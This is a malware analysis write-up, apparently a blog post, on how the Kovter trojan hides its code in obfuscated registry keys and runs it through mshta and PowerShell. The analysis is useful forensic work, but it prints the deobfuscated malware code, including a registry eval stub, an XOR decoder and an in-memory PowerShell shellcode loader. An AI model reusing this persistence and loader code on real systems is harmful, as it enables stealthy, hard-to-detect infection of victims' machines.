Analysis
Lab Setup
The analysis of the malware was conducted on the REMWorkstation VM from the SANS FOR610 course as this comes preconfigured with a healthy collection of monitoring tools. A clean snapshot of the VM was used with Process Monitor, CaptureBat and ProcessHacker all running in order to observe the execution. No network connectivity was present.
Infection
The malware was executed using the Administrator account in order to allow it freedom to demonstrate a full range of behaviour. The process was allowed to run for approximately 60 seconds.
Analysis
Observing the infection in Process Monitor it was possible to see the following processes execute:
- poss_kovter.exe
- poss_kovter.exe
- wmiprvse.exe
- mshta.exe
- powershell.exe
- regsvr32.exe
- regsvr32.exe
Loading the CSV into ProcDot and selecting the original kovter process as the initiating process produced the following graph (Please see the attachments to this post for full size versions of the images).
Interestingly although it is possible to see the second copy of the kovter process running here there are no references to starting the other processes, observed in Process Hacker. It appears that the second copy of kovter invokes the mshta.exe via the Windows Management Interface (WMI).
Of particular interest were the various registry keys created by the process. In this particular instance they were all created under the HKLM\Software Key.
Examining the first of the two regsvr32.exe processes we can see that a thread is started and a copy of the original kovter executable is loaded into it. This is then used to start a second process hollowed version of regsvr32.exe.
As this still didn’t demonstrate the expected use of powershell it was decided to examine the WMI Service (wmiprvse.exe).
It was not possible to load the graph for this process without disabling the display of registry keys. This gave the following graph (split into 3 to allow easier viewing).
As demonstrated in these graphs this results in The Microsoft Scripting Engine (mshta.exe) is invoked through WMI, which in turn uses Powershell to start the previously observed regsvr32.exe, with the injected kovter payload.
As ProcDot was unable to display the registry keys it was necessary to manually examining the information from the CSV file output by Process Monitor. As kovter uses the registry for persistence, the CSV file was searched for RegSetValue operations with “mshta” in the details. This produced the following results:
Interestingly these keys cannot be recovered from regedit or the “reg query” command line tool as they include a non-ascii character in the subkey name. This is also what causes the problem with rendering in ProcDot. Although each key uses a slightly different obfuscation , when deobfuscated they all feature the same code:
ScriptingShell = new ActiveXObject("Wscript.Shell");
Payload = ScriptingShell.RegRead("HKLM\software\ZyxLQz1U8xBw4Pco");
eval(Payload);
Note that this registry value is random and is unique to the infection. It corresponds to one of the values seen in the ProcDot graph for the original infection.
This registry key contains further obfuscated javascript which once cleaned up appears thus:
EncipheredPayload = "7F62342526...Snip...15244427C";
Key = "03zLOEZm19bJMl14uMp0R7lkGXegNgbSpZxXMtk19HMznwMMbLhAJf1VAoqQARq2txJ7gNlzNl8RPkqFSzsk40n";
DecipheredPayload = "";
IntermediatePayload = "";
for (i = 0; i < EncipheredPayload.length; i += 2) IntermediatePayload += String.fromCharCode(parseInt(EncipheredPayload.substr(i, 2), 16));
for (i = j = 0; j < IntermediatePayload.length; j++) {
DecipheredPayload += String.fromCharCode(IntermediatePayload.substr(j, 1).charCodeAt() ^ Key.substr(i, 1).charCodeAt());
i = (i < Key.length - 1) ? i + 1 : 0;
}
eval(DecipheredPayload);
In essence this code takes a string of hex values, converts the hex to ascii and then XORs the resulting string with a key to produce a new javascript. This new javascript is then executed with the eval function.
The deciphered javascript is:
try {
moveTo(-100, -100);
resizeTo(0, 0);
pc60 = new ActiveXObject("WScript.Shell");
(pc60.Environment("Process"))("hpmogev") = "iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('c2xlZXAoNDApO3RyeXtmdW5jdGlvbiBnZGVsZWdhdGV7UGFyYW0gKFtQYXJhbWV0ZXIoUG9zaXRpb249MCxNYW5kYXRvcnk9JFRydWUpXSBbVHlwZVtdXSAkUGFyYW1ldGVycyxbUGFyYW1ldGVyKFBvc2l0aW9uPTEpXSBbVHlwZV0gJFJldHVyblR5cGU9W1ZvaWRdKTskVHlwZUJ1aWxkZXI9W0FwcERvbWFpbl06OkN1cnJlbnREb21haW4uRGVmaW5lRHluYW1pY0Fzc2VtYmx5KChOZXctT2JqZWN0IFN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5TmFtZSgiUmVmbGVjdGVkRGVsZWdhdGUiKSksW1N5c3RlbS5SZWZsZWN0aW9uLkVtaXQuQXNzZW1ibHlCdWlsZGVyQWNjZXNzXTo6UnVuKS5EZWZpbmVEeW5hbWljTW9kdWxlKCJJbk1lbW9yeU1vZHVsZSIsJ
...snip...
cnZpY2VzLk1hcnNoYWxdOjpHZXREZWxlZ2F0ZUZvckZ1bmN0aW9uUG9pbnRlcigoZ3Byb2Mga2VybmVsMzIuZGxsIENyZWF0ZVRocmVhZCksKGdkZWxlZ2F0ZSBAKFtJbnRQdHJdLFtVSW50MzJdLFtCeXRlW11dLFtCeXRlW11dLFtVSW50MzJdLFtJbnRQdHJdKSAoW0ludFB0cl0pKSkpLkludm9rZSgwLDAsJHNjMzIsJHNjMzIsMCwwKTt9c2xlZXAoMTIwMCk7fWNhdGNoe31leGl0Ow==')))";
xya6c = pc60.Run("C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe iex $env:hpmogev", 0, 1);
} catch (e) {}
close();
This takes a base64 encoded payload, decodes it and stores it in an environment variable, again with a random name varying from infection to infection. It then executes powershell and instructs it to load a script from the environment variable.
The powershell script is:
sleep(40);
try{
function gdelegate{
Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters,[Parameter(Position=1)] [Type] $ReturnType=[Void]);
$TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")),[System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]);
$TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed");
$TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed");
return $TypeBuilder.CreateType();
}
function gproc{
Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module,[Parameter(Position=1,Mandatory=$True)] [String] $Procedure);
$SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{
$_.GlobalAssemblyCache -And $_.Location.Split("")[-1].Equals("System.dll")
}
;
$UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods");
return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr),$UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))),$Procedure));
}
[Byte[]] $sc32 = 0x55,0x8B,0xEC,0x81,0xC4,0x00,0xFA,0xFF,0xFF,0x53,0x56,0x57,0x53,0x56,0x57,0xFC,0x31,0xD2,0x64,0x8B,0x52,0x30,0x8B,0x52,0x0C,0x8B,0x52,0x14,0x8B,0x72,0x28,0x6A,0x18,0x59,0x31,0xFF,0x31,0xC0,0xAC,0x3C,0x61,0x7C,0x02,0x2C,0x20,0xC1,0xCF,0x0D,0x01,0xC7,0xE2,0xF0,0x81,0xFF,0x5B,0xBC,0x4A,0x6A,0x8B,0x5A,0x10,0x8B,0x12,0x75,0xDB,0x89,0x5D,0xFC,0x5F,0x5E,0x5B,0x8B,0x45,0xFC,0x89,0x45,0xD4,0x8B,0x45,0xD4,0x66,0x81,0
...snip...
B,0x75,0x0C,0x8B,0x4D,0x10,0xF3,0xA4,0x61,0x5D,0xC2,0x0C,0x00,0xBD,0xDD,0x50,0x1A,0xE0,0xAD,0x75,0x5F,0xA5,0x2D,0x33,0x04,0x3B,0x01,0x10,0x05,0xE6,0xE7,0x8A,0x6C,0xA1,0x4A,0x1C,0x71,0x5C,0xF0,0xEC,0xD2,0x78,0xE2,0x60,0x9D,0x60,0xBD,0x0A,0xCB,0x50,0x18,0xB4,0x68,0xAD,0xAD,0x80,0x1E,0x8F,0x6F,0x5C,0x65,0x4C;
[Uint32[]] $op=0;
$r=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualProtect),(gdelegate @([Byte[]],[UInt32],[UInt32],[UInt32[]]) ([IntPtr])))).Invoke($sc32,$sc32.Length,0x40,$op);
if($r -eq 0){
$pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc),(gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40);
if($pr -ne 0){
$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset),(gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr]))));
for ($i=0;
$i -le ($sc32.Length-1);
$i++) {
$memset.Invoke(($pr+$i), $sc32[$i], 1)
}
;
([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread),(gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0);
}
}
else{
([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread),(gdelegate @([IntPtr],[UInt32],[Byte[]],[Byte[]],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$sc32,$sc32,0,0);
}
sleep(1200);
}
catch{
}
exit;
This script essentially creates a custom library function import routine to load VirtualProtect, VirtualAlloc and CreateThread from kernel32.dll as well as memset from msvcrt.dll. It then uses these functions to allocate a region of executable memory, copy a hex encoded shellcode into that location and then execute it in a new thread. This new thread then goes on to spawn the first regsvr32.exe process.
Conclusions
Kovter is able to conceal itself in the registry and maintain persistence through the use of several concealed run keys. Aside from the initial infecting executable, which may or may not touch the disk, and which is deleted following infection, there should be very few file system artefacts to find. Powershell does not maintain a log of commands, and the environment variable is lost after the Powershell process exits so there is very little chance of recovering the script executed and the final payload without following an RE process.